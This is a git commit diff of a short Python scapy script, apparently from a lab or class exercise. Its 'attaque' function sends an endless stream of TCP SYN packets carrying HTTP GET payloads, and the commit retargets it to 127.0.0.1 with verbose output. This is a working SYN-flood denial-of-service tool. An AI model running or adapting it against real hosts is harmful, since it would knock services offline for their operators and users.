Saataa andagii !

This commit is contained in:
Lukian 2025-01-14 12:02:15 +01:00
parent de14ac4b8b
commit 3d6630fdb4

View file

@ -1,14 +1,14 @@
from scapy.all import *
import random as r
L = [
"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n",
"GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n",
"GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n"
]
adresse = "web"
port = 80
adresse = "127.0.0.1"
port = 80
L = [
f"GET / HTTP/1.1\r\nHost: {adresse}\r\n\r\n",
f"GET /index.html HTTP/1.1\r\nHost: {adresse}\r\n\r\n",
f"GET /about.html HTTP/1.1\r\nHost: {adresse}\r\n\r\n"
]
def changeCara(val,nb):
for i in range(nb):
@ -20,7 +20,7 @@ def attaque():
while True:
requete = L[r.randint(0, 2)]
paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
send(paquet, verbose=False)
send(paquet, verbose=True)
if __name__ == "__main__":
attaque()